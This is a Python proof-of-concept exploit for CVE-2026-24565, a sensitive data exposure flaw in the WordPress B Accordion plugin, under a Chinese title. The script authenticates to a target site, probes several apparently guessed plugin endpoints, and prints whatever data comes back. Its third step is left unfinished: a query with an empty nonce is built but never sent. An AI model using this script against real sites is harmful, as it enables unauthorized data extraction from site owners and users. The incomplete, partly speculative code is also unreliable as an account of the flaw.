CVE-2026-24565 | WordPress B Accordion插件敏感信息泄露漏洞

# CVE-2026-24565 PoC - B Accordion Sensitive Data Exposure # WordPress B Accordion Plugin <= 2.0.2 # Reference: https://patchstack.com/database/Wordpress/Plugin/b-accordion/vulnerability/wordpress-b-accordion-plugin-2-0-0-sensitive-data-exposure-vulnerability import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "attacker" password = sys.argv[3] if len(sys.argv) > 3 else "password" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data, allow_redirects=False) if "wordpress_logged_in" not in str(session.cookies): print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Enumerate B Accordion content for sensitive data # The plugin stores accordion content in wp_postmeta with meta_key pattern 'baccordion_*' endpoints = [ f"{target}/wp-json/wp/v2/baccordion", f"{target}/wp-admin/admin-ajax.php?action=baccordion_get_data", f"{target}/wp-json/baccordion/v1/data" ] for endpoint in endpoints: try: response = session.get(endpoint, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"\n[+] Found accessible endpoint: {endpoint}") print(f"Response preview: {response.text[:500]}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 3: Query database for plugin-specific meta keys db_check_url = f"{target}/wp-admin/admin-ajax.php" meta_query = { "action": "baccordion_query", "nonce": "", # May need to extract valid nonce from page source "query_type": "meta" } print("\n[*] Exploit complete. Review extracted data for sensitive information.")